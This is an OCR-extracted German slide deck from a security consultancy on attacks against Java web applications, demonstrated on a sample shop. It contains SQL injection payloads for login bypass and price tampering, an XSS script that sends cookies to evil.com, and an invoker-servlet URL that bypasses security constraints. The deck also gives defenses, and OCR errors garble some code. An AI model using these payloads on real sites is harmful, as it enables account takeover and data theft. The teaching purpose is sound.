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Uber OPTIMA

OPTIMA Business Information Technology GmbH ist
eine Beratungsfirma, spezialisiert auf

Applikationssicherheit und -Entwicklung fur
¢ JavalJ2EE
¢ Web Services & XML

¢ SSO & PKI
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Applikations-Sicherheit

Hacking Cars-Online

Definition: Application Security

Moderne Anwendungen sind
modular, komplex und
vielschichtig.

Fehler im
# Design / Architektur
¢ Implementierung

¢ Deployment & Konfiguration

lassen Schwachstellen fir
Angriffe.
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Erkenne den Feind!

\ \

eUnbekannte - 82
Hacker ‘
eAngestellte

—— 40
+Konkurrenz —
eRegierungen \\ 28

\ ”
0 20 40 60 80 100
Percent

‘ Quelle: CSI/FBI Computer Crime Survey 2003
|~ ( ~ 500 Companies responding)
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Defense in Depth

Die "Defense in Depth" Strategie beschreibt ein
vielschichtiges Sicherheitskonzept.

Viele Schichten erschweren einen kompletten Durchbruch.

Schichten in alten Schldssern:

eWasser & Terrain
eZugbricke
eSteinmauer, Bristungen
+Kochendes OlI, Pfeile

eRettungsturm
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Defense in Depth (Diagram)

Was sind die modernen Aquivalente?

Bereich zur
verteidigen
Perimeter Network Server Application Desktop
Firewall *IDS *Physical «Coding *Anti- Virus
! WPN — JIPSEC |— *Harden [~ +Analysis || <Authentication
*Audits sLogin *Guidelines *Authorization
Eingesetzte
Technologien
Produkte Know-How Produkte
Versicherung ’—/
clici Dieser Bereich kann nur mit KNOW-
HOW, NICHT mit Produkten
gesichert werden!
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Verteidigungen, die nicht funktionieren

Firewall
Firewall IDS
SS L e - Verschlusselte Kommunikation » Destination
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Angriffe auf Java & J2EE

Hacking Cars-Online

Web Application Vulnerabilities

Eine Web Application kann viele geféahrliche
Sicherheitslocher aufweisen, auch wenn es "richtig"”
funktioniert!.

Data Secrecy Configuration
Cryptography
Replay Exception
/ Handling

'eb Server, Applicati
Server Database
Static Dynamic
Web - Web
Content Content
Session
Hijacking
Parameter — Authorization — Auditing,
Manipulation Logging Database
Authentication — Input Security
Validation
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Die Applikation

"Cars-Online" ist eine J2EE Applikation, basierend auf
Servlets, JSPs und einer Datenbank.

Architektur wie Struts (Controller, Action)

Viele der Angriffe funktionieren auch gegen .NET Applikationen
Software Umgebung:

Tomcat 4.1.27

HypersonicSQL 1.7
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Angriff 1: Applikationslogik

Order ID ist nicht wirklich "zufallig".

Angriff: Andere Order Id erraten, um zu erfahren, was
andere Benutzer bestellt haben.

FORM ="AD4X" + Counter + "N"
Beispiel: AD4X1373N

Order fur Bill Gates.

Lustig! Aber wie ware es mit dem Krankenbild eines
Patienten?
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Angriffe auf
Serverkonfiguration




Angriff 2a: Konfiguration

Das Problem:

Jeder Web Container hat seine eigenen Wege, wichtige
Konfigurationen wie Directory Browsing zu kontrollieren.

Die Losung: eigenes DefaultServlet

Sie nehmen die Konfiguration selbst in die Hand. So sind Ihre
Web-Applikationen immun gegen Probleme der

ePortierung
eKonfiguration

eAdministration
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Default Servlet

public class DefaultServlet extends HtpServlet {

public void doPost(HttpServl et Request req,
Ht t pSer vl et Response res)
throws Servl et Exception, | COException {
String context = req.getContextPath();
res. sendRedirect (context + "/error/default.jsp");

} Dieses Servlet leitet direkt
zu einem ErrorPage
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Beispiel: Sichere Konfiguration

<servl et>

<servl et -nane>MyDef aul t </ servl et- nanme>

<servl et -cl ass>org. x. Def aul t Servl et </servl et - cl ass>
</ servl et>

Dieses Servlet leitet direkt
zu einem ErrorPage

<servl et - mappi ng>
<servl et- nane>MyDef aul t </ser vl et - nanme>
<url -pattern>/ </ url-pattern>
</ servl et -mappi ng>

Mapping zum "/"
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Was ist SQL Injection?

SQL Injection bedeutet SQL Ausdricke am Client zu
formulieren und dem Server "einzuspritzen".

HTML-Form Server
Logic

Angreifer gibt einen Business Logic reicht Datenklau??
SQL Ausdruck ein. Eingabe durch zu
Datenbank.

SQL-Injektion basiert hauptsachlich auf

elmplementierungs-Logik,SELECT, INSERT, Stored Procedures
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SQL Injection (1 = 1 Angriff)

Der Angreifer erzeugt einen String, der die vermeinte
SELECT-Kriterien aushebelt.

Beispeil: Ein E-Business mit online Verkauf
Ubernimmt eine Bestellnummer vom Anwender und
baut daraus:

SELECT * FROM orders WHERE ORDERI D = XXX

Ein Angreifer gibt folgendes ein:
123456" OR'1'="1

Dieser Ausdruck ist fir jede Reihe in der Tabelle Wahr.
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SQL Injection (Ausdruck-Verkettung)

Viele SQL-Dialekte erlauben es, mehrere SQL-
Ausdricke mittels ";" zu verketten.

Der Angreifer hangt ein "extra" SQL-Befehl an eine
normale Eingabe an. Z.B.

Vermutung: SQL Ausdruck wie
"SELECT * FROM PRODUCTS

WHERE DESCRI PTION LIKE "% + XXX + "% ";
Angriff versuchen wo "XXX" ist

Lanbo% ; UPDATE PRODUCTS SET PRI CE=1. 0 WHERE
DESCRI PTI ON LI KE ' %.anbo
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SQL Injection (Applikations-Logik)

Im Applikation finden wir:

String sgql = "SELECT user FROM users WHERE userid ="
+ strUser + "' AND password ='" + strPass "'";
/1 di ese Methode ergi bt einen "" oder den Usernane

String aut hUser = executelLogi nQuery(sql);

i f(authUser.equal s("")){
I ogin = fal se;

} else {
login = true;

}

Der Angreifer gibt dann folgendes ein:
USERNAME: A OR ' X =' X
PASSWORD: A OR ' X =' X
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SQL Injection Autorisierung (2)

Der Angreifer gibt dann folgendes ein:
USERNAME: A OR ' X =' X
PASSWORD: A OR ' X' =' X

(Hinweis: achten Sie auf die Leerplatze)

Diese ergibt ein Ausdruck wie

" SELECT user FROM users WHERE
userid =" +" A OR'X =X+
AND pass ='" + "AL OR'X' = X" + """

Obiger Ausdruck ist immer wabhr.

In vielen Fallen ist der Angreifer dann als der erster
Benutzer in der Users-Tabelle angemeldet.
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Cross Site Scripting, Session Hijacking,
Invoker Servlet
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Angriffe auf Sessions

Probleme mit Sessions

Jedem Client wird ein einzigartiger ldentifizierer
("session ID") zugeteilt.

Uber die Session ID wird Information am Server mit einem
bestimmten Client verbunden.

Wer eine Session ID klauen kann, der kann eine andere
Identitat Gbernehmen.

Dies ist potentiell ein grof3es Problem!
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Session Hijacking

sid = ABJ78
Session C1

_,| Client1

sid = ABJ78
Server O O
Zustand C1 O

Zustand CN

sid =12UIOR
Session CN

- 0

Client N
sid =12UIOR

Die Session ID wird mit
jedem Request Ubertragen.

L,| Evil Hack

sid = ABJ78
Eine Session speichert
Information als Instanzen
Session Hijacking! von JavaBeans.
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Session Hijacking

Teilldsungen:

+Mit <session-timeout> in der web.xml kénnen Sie alte
Sessions automatisch ldschen, z.B.

<sessi on-ti neout >10</ sessi on-ti neout >

oDie Applikation kann eine "logout" Moglichkeit haben.

eDie Session ID gegen Client IP tberprufen. (Problem mit
Proxies). Servlet Filter API ist fir dieses Problem gut.

Losung:

eSichere Verbindung mit HTTPS.
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Trennung von Sicheren Verbindungen

Neues Problem:

Ein Benutzer wechselt sein Protokoll von HTTPS auf HTTP.

Client Server
Start Web-Shop
\ HTTP >

Input Credit Card — HTTPS » | — Credit Card
stored in Session

Exit Web-Shop

HTTP -

Neue LOosungen:
oDie GESAMTE Applikation muss unter HTTPS sein.

¢Die Session mulB geldscht bzw. modifiziert werden.
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Cross-Site Scripting
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Was ist Cross Site Scripting?

Cross Site Scripting (XSS) nutzt die Ausfihrung von
JavaScript in HTMP Seiten, um Session-Information
von Clients zu stehlen.

Grundlagen:

eJavaScript wird im Browser "ausgefuhrt", wo auch immer es
erscheint.

eDie Website gibt Benutzereingabe wieder aus, ohne diese erst
zu "bereinigen”

oEs braucht mindestens 3 Parteien
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Was ist Cross Site Scripting?

JavaScript Ausdricke werden vom Angreifer in
Eingabefeldern plaziert.

Auswertung geschieht nicht am Server sondern am
attakierten Client.

HTML-Form Server

- ’ Business

Angreifer gibt JavaScript Business Logic spiegelt
ein. Eingabe zuriick.
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XSS Angriff

Angenommen, wir rufen eine Website auf tber HTTP:

GET
/myservl et ?name=<script> ... </script> HTTP/1.0
Host: www. schwachstel | e. de

Der Server antwortet mit:

<HTM_>
<body>
Hal l o, <script> ... </script>!

</ HTM.>
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Angriff 4: Cross-Site Scripting

Mittels Cross-Site Scripting (XSS) kdnnen Angreifer
die Cookies und SessionIDs lhrer Kunden stehlen.

Vulnerability: Die Applikation gibt Benutzereingabe in
HTML ungefiltert zuriick.

Dear <% request.getParaneter("nane") %, Thank you
for your order.

Angriff versuchen wo ,name" ist

<scri pt>al ert (docunent. cooki e) </ scri pt>
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XSS Angriff (2)

Andere Strings kénnen benutzt werden, um den Wert
des Cookies weiterzuleiten, z.B,:

<script >

wi ndow. open("http:// wwmv. evil.conl cooki est eal er ?cooki e=
"+docunent . cooki e)

</script>
1) Client benutzt Server
Client 3) Client ruft Server ’| Server
mit JavaScript auf
2) Angreifer sendet 4) JavaScript sendet
Mail an Client Cookie an Angreifer
Angreifer
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XSS (Diagram)
1) Client uses site.
Gets a session id
Client 3) Client sends malicious Vulnerable
request to the server Site
| 4) Script sends session id
| to the attacker
[ - |

2b) Client surfs to a site

with a “stored” malicio

us link

2a) Attacker sends email with

L ; ) Attacker
malicious link to the client
Forum,
newsgroup,
etc.
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Sicherheitseinstellungen
umgehen

Interceptors und Sicherheit

Is the U?RL restricted Web Application Server
access?
This logic is configured in
the web.xml file
Interceptor
o Unrestricted
Request ['] o Access
The interceptor examines 1
requests to test them for
security compliance. | Restricted
Access
- JAAS
Is the user authenticated?
What roles does the user play?
This is configured in the
container Role-Mappings
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Invoker Servlet

Das Invoker Servlet bietet einen Weg, ein Servlet Uber
seine FQN aufzurufen.

Man benutzt den "servlet" context und dann den FQN der
Klasse:

http://server:port/servlet/com exanpl e. FooControll er

Das Invoker Servlet ist aus Kompatibilitdtsgrinden immer noch
in vielen Containern vorhanden.

WARNUNG!

Servlets, die Uber den Invoker aufgerufen werden, ignorieren
die <security-constraints>in der web.xml
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Angriff 6: Invoker Servlet

Der Angreifer ruft den Kontroller direkt auf.

Setzen:
nanme : Hugo
address : Foostr123
ccnunber : 12345
product : Ferrari
quantity : 3
shipping : DHL

#der komplette Aufruf!

http://192.168. 1. 26: 8080/ websal es/ servl et/ web. sal es. Co

ntrol | er Servl et ?acti on=conf i r mM&nhanme=Hugo&addr ess=Foos
tr123&ccnumnber =12345&pr oduct =Ferrari &uant i t y=3&shi pp
i ng=DHL
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Verteidigungen, die DOCH funktionieren

= Experten Review (Code,
Architektur)

s Penetration Tests

=  Web Application Security Policy

= Guidelines & Weiterbildung fur
Entwickler

s Security Awareness fur Manager
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Zusammenfassung

OPTIMA: Eine strategische
Entscheidung, Sicherheit als Teil
der Entwicklung zu integrieren.

¢ Ein zuverlassiger Partner mit viel
Praxiserfahrung.

¢ Hat das Expertenwissen, um die
Sicherheit von Anwendungen und
Architekturen zu begutachten.

¢ Unterstitzt Sie rings um Entwicklungen
im Java, Web-Services, SSO, Integration.

¢ KONTACT: info@optimabit.de
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